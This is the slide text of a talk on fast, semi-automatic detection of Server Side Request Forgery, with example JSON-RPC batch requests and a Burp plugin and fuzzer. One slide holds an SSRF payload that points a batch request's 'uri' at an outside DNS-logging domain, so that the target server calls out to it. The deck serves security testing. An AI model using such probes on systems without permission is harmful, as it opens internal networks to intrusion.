1. Fast (and almost automatic) SSRF detection Eldar Zaitov

2. Fast (and almost automatic) SSRF detection Whoami Yandex More Smoked Leet Chicken CTF team CTFtime.org

3. Fast (and almost automatic) SSRF detection Server Side Request Forgery

4. Fast (and almost automatic) SSRF detection SSRF sources XXE and variations Declared functionality Errors in URL generation

5. Fast (and almost automatic) SSRF detection POST /ws/mail/v2.0/jsonrpc Content-Type: application/json { "method":"GetUserData", "params":[ {"includeUnverifiedExtAcct":true} ] } http://internal.host.com/ws/mail/v2.0/jsonrpc

6. Fast (and almost automatic) SSRF detection POST /ws/v3/batch HTTP/1.1 Content-Type: application/json { "requests": [ { "method":"POST", "uri":"/ws/mail/v2.0/jsonrpc", "payload": { "method":"GetUserData", "params":[{"includeUnverifiedExtAcct":true}]} } ] } http://internal.host.com/ws/mail/v2.0/jsonrpc

7. Fast (and almost automatic) SSRF detection Detection Output / Error based Backconnect DNS

8. Fast (and almost automatic) SSRF detection POST /ws/v3/batch HTTP/1.1 Content-Type: application/json { "requests": [ { "method":"POST", "uri":“.zndemo.kyprizel.net/", "payload": { "method":"GetUserData", "params":[{"includeUnverifiedExtAcct":true}]} } ] } http://internal.host.zndemo.kyprizel.net/

9. Fast (and almost automatic) SSRF detection http://some.internal.domain.and.host.com.zndemo.kyprizel.net/

10. Fast (and almost automatic) SSRF detection Detection / DNS snifferINA37.9.65.78 zndemoINNSsniffer.kyprizel.net

11. Fast (and almost automatic) SSRF detection Fuzzing Request parameters, headers Request body: multipart/formdata XML application/json whatever

12. Fast (and almost automatic) SSRF detection Detection / tools Burp suite plugin Fuzzer DNS server (optional) https://github.com/kyprizel/ussrfuzzer

13. @kyprizel